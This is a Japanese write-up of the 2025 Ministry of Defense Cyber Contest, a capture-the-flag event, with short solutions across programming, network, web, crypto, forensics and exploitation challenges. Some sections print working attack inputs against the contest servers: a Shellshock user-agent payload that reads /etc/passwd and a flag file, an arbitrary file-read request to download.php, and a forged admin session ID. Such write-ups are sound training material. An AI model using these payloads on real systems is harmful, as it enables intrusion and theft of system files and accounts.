概要
令和7年2月2日(日)9時00分~21時00分に開催された防衛省サイバーコンテスト2025のWriteupです。
書ける範囲で書きます。
PG
Q1.縮めるだけじゃダメ
マクロが用意されているの実行するとflag{xxxxxx}
の文字列が出来ます。
ステップイン機能で一行ずつ処理を追うと{}内の数字が変化していくので、最終的数字がフラグです。
A.flag{268653}
Q2.暗算でもできるけど?
Cのソースコードが提供されるのでコンパイルして実行すると素数が出力されました。
$ ./pg-2
2
3
5
7
11
13
17
19
検索して68
番目の素数が337
で、314
番目の素数が2083
だと分かったので足した数がフラグです。
A.flag{2420}
Q4.loop in loop
処理の指示に合うコードをpythonで書きました。
import hashlib
def get_hash(txt):
h = hashlib.new('ripemd160')
h.update(txt.encode())
return h.hexdigest()
def main(arg1, arg2):
num = 0
arg1_ripend160 = get_hash(arg1)
arg2_ripend160 = get_hash(arg2)
for i in arg1_ripend160:
for j in arg2_ripend160:
if(i.isdigit() and j.isdigit()):
xor = int(i) ^ int(j)
num += xor
print(num)
if __name__ == '__main__':
main('Phoenix','Messiah')
実行し、フラグゲットです。
>python pg-4.py
5785
A.flag{5785}
NW
Q1.頭が肝心です
eml
ファイルが提供されるのでAnalyzeツールを使いました。
Received
の項目を確認します。
A.flag{172.16.25.39}
Q2.3 Way Handshake?
オープンポートということは3 way handshakeでsyn,ack
が返って来たという事なので、tcp.flags.syn==1 && tcp.flags.ack==1
のようにフィルタリング設定をします。
フィルタリング結果のパケットからポートを小さい順に並べてフラグゲットです。
A.flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}
Q3.さあ得点は?
HTTP HEADリクエストのパケットを確認すると特徴的なペイロードが見つかりました。
文字列で検索するとCVE-2011-3192
だと分かりました。
NVDのサイトからスコアを確認します。
A.flag{7.8}
Q4.decode
pcapファイルが分割されているのでmergecap
で結合します。
$ mergecap -a *.pcap -w merged.pcap
HTTPで通信しているパケットがあります。
内容を見るとimageのデータをJSONで返してもらっています。
データはBase64
でデコードされているようです。
データをファイルに保存してBase64
でデコードしたのをファイルに出力すると画像ファイルに変換できました。
$ cat 7 | base64 -d > 7-img
順番にパケットを画像ファイルに変換していくとフラグが書かれた画像を変換できました。
A.flag{c4ptur3_cat}
WE
Q1.簡単には見せません
Webページにアクセスしましたが、このページにはフラグがないらしいです。
robots.txt
からサイトのパスが分かりました。
User-Agent:*
Disallow:/
Disallow:/red/
Disallow:/gold/
Disallow:/yellow/
Disallow:/blue/
Disallow:/pink/
Disallow:/black/
順番にアクセスしていき、/blue/
で/flg
を発見しました。
/blue/flg/
にアクセスするとこのページにフラグがあるようです。
ページのソースコードからフラグを入手できました。
A.flag{TakeMeToTheFlag}
Q2.試練を乗り越えろ!
Webページにアクセスします。
今何問目かの問題がずっと続いているようです。
リクエストBodyがこのようになっているのでqCount=10000&answer=10000
で最終問題にリクエストを送信できそうです。
リクエストを送信するコードを書きました。
import requests
data = {'qCount':10000,'answer':10000,'submit':'\%\E9\%\80\%\81\%\E4%BF%A1'}
response = requests.post('https://we2-prod.2025winter-cybercontest.net/', data=data)
print(response.text)
レスポンスからフラグを入手できました。
$ python flag.py
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h2>試練を乗り越えろ!</h2>
<hr>
フラグが欲しければ1万問の質問に答えてください。<br>
<font color="red">おめでとうございます!<br>よく試練に耐えましたね!<br>あなたは素晴らしい!!<br>でも最初からやり直してください<br><br><br><br><br><br>というのは冗談です<br>フラグは下記のとおりです<br><b>flag{WinThroughTheGame}</font><br><hr>
第10000問<br>
今は何問目?
<br>
<form method="POST">
<input type="hidden" name="qCount" value="10000">
答え:<input type="text" name="answer" size="6">
<input type="submit" name="submit" value="送信">
</form>
</body>
</html>
A.flag{WinThroughTheGame}
Q3.直してる最中なんです
Webページにアクセスします。
ソースコードから/secret/download.js
を発見しました。
ソースコードを見ると/secret/download.php
にPOSTリクエストを送信する処理が書かれています。
function dlFIle(file){
var dataS = 'fName=' + file;
var xhr = new XMLHttpRequest();
xhr.open('POST','/secret/download.php');
xhr.send(dataS);
xhr.onload = function() {
var strS = xhr.responseText;
};
}
試しにPOSTリクエストを送信してみると、fName
パラメータが無いと言われました。
$ curl -X POST https://we3-prod.2025winter-cybercontest.net/secret/download.php
<br />
<b>Warning</b>: Undefined array key "fName" in <b>/var/www/html/secret/download.php</b> on line <b>2</b><br />
<br />
(省略)
fName
パラメータでファイルを読み込めそうなのでfName=/etc/WE-3
のようなリクエストを送信するとフラグを入手できました。
$ curl -X POST https://we3-prod.2025winter-cybercontest.net/secret/download.php -d "fName=/etc/WE-3"
<br />
<b>Warning</b>: filesize(): stat failed for /var/www/html/secret//etc/WE-3 in <b>/var/www/html/secret/download.php</b> on line <b>9</b><br />
(省略)
flag{fGrantUB56skBTlmF14mostFP}
A.flag{fGrantUB56skBTlmF14mostFP}
Q4.直接聞いてみたら?
Webページにアクセスします。
チェックを入れ問い合わせるとBase64
エンコードしたパラメータで処理をしているようです。
[{"name":"flag","value":"on"}]
のようなパラメータにしてBase64
エンコードします。
これでリクエストを送信するとフラグが返ってきました。
A.flag{ParameterHandlingError}
CY
Q1.エンコード方法は一つじゃない
最初の文字列をURLデコードします。
デコード結果から暗号化された文字列が以下の3つに分けられていると予測できます。
UcanB}
VmFyaW91c0VuY29kaW5ncw==
666c61677b
UcanB}
はUnicode Hex Character Code
でUcanB}
に変換できました。
VmFyaW91c0VuY29kaW5ncw==
はBase64
デコードでVariousEncodings
に変換できました。
666c61677b
はCyberChefのHex
でflag{
に変換できました。
いい感じに文字列を並べ替えてフラグゲットです。
A.flag{VariousEncodingsUcanB}
Q2.File Integrity of Long Hash
提供されたハッシュ値はSha512
だと分かりました。
指定されたハッシュ値に合うファイルを探すコードを書きました。
import hashlib
for i in range(10,100):
file_name = f'flags_{i}.txt'
with open(f'/home/kali/boueisyou-ctf/flags/{file_name}', 'rb') as file:
fileData = file.read()
sha512 = hashlib.sha512(fileData).hexdigest()
if (sha512 == '189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf'):
print(file_name)
flags_89.txt
がそれにあたるようです。
ファイルの中のフラグを提出して正解しました。
┌──(kali㉿kali)-[~/boueisyou-ctf]
└─$ python flag.py
flags_89.txt
┌──(kali㉿kali)-[~/boueisyou-ctf]
└─$ cat flags/flags_89.txt
flag{346D895B8FF3892191A645}
A.flag{346D895B8FF3892191A645}
FR
Q1.露出禁止!
提供されたログファイルを確認します。
192.168.100.103 - - [10/Jul/2024:15:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.103 - - [10/Jul/2024:15:36:03 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.103 - - [10/Jul/2024:15:36:05 +0900] "GET /mypage.php?sesid=MTcyMjMxMjQxNywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.100.106 - - [10/Jul/2024:15:40:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [10/Jul/2024:15:40:08 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [10/Jul/2024:15:40:11 +0900] "GET /mypage.php?sesid=MTcyMjM0Nzk5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [11/Jul/2024:09:36:24 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [11/Jul/2024:09:36:29 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:36:30 +0900] "GET /ctf/fr1/index.php?msg=2 HTTP/1.1" 200 478
192.168.100.106 - - [11/Jul/2024:09:45:54 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:46:00 +0900] "GET /mypage.php?sesid=MTc2NzIyNTU5OSw2LHVzZXI2 HTTP/1.1" 200 281
192.168.100.106 - - [12/Jul/2024:16:54:44 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [12/Jul/2024:16:54:50 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [12/Jul/2024:16:54:58 +0900] "GET /mypage.php?sesid=MTcyMjQ0MTU5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [15/Jul/2024:13:05:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [15/Jul/2024:13:05:13 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [15/Jul/2024:13:05:18 +0900] "GET /mypage.php?sesid=MTcyMjQyNzg1NywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.123.101 - - [19/Jul/2024:21:54:42 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.101 - - [19/Jul/2024:21:54:49 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.101 - - [19/Jul/2024:21:54:51 +0900] "GET /mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg== HTTP/1.1" 200 282
192.168.123.102 - - [21/Jul/2024:16:32:32 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.102 - - [21/Jul/2024:16:32:45 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.102 - - [21/Jul/2024:16:32:52 +0900] "GET /mypage.php?sesid=MTcyMjg5MjM3NCwyLHVzZXIyCg== HTTP/1.1" 200 281
192.168.123.105 - - [25/Jul/2024:12:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.105 - - [25/Jul/2024:12:45:32 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.105 - - [25/Jul/2024:12:25:36 +0900] "GET /mypage.php?sesid=MTcyMzA2NjQ5NCw1LHVzZXI1Cg== HTTP/1.1" 200 281
sesid
の文字列をそれぞれBase64
デコードします。
user6
だけ値の形式が違うのでアクセスに使用するとログイン出来ました。
user6
のパラメータをいじって1767225599,1,admin
のようにしてBase64
エンコードします。
エンコードした値を使用するとadmin
でログインに成功し、フラグを入手できました。
A.flag{SessionIDsCarefully}
Q2.成功の証
FTPのログイン試行パケットがあるのでip.src == 192.168.123.116 && ftp
のようにフィルタリングし、ログイン成功の230
を検索すると見つかりました。
追跡機能でログインに成功したパスワードを得られました。
A.flag{zyyzzyzy}
Q3.犯人はこの中にいる!
ポートスキャンのパケットから送信元のMACアドレスを得られました。
eth.addr == 00:0c:29:4d:c2:33
のようにMACアドレスでフィルタリングすると実際のIPは192.168.204.137
だと分かりました。
A.flag{192.168.204.137}
PW
Q1.CVE-2014-7169他
タイトルやログの内容からshellshock
が関係していそうです。
攻撃成功ログからリクエスト送信先が分かりました。
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/n.cgi HTTP/1.1" 200 2007 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
/cgi-bin/n.cgi
に/etc/PW-1
を表示するコードを仕込んで送信するとフラグを入手できました。
$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/PW-1" https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi
flag{>:(!shellshock!}
A.flag{>:(!shellshock!}
TR
Q2.Windowsで解きましょう
提供されたbatファイルのソースコードを確認します。
@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
type null > flags_%%n.txt
echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)
endlocal
条件分岐に注目するとset FDATA4=25
でTrueになると分かりました。
if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
なのでflags_25.txt
のフラグで正解しました。
A.flag{7525252364612534937244}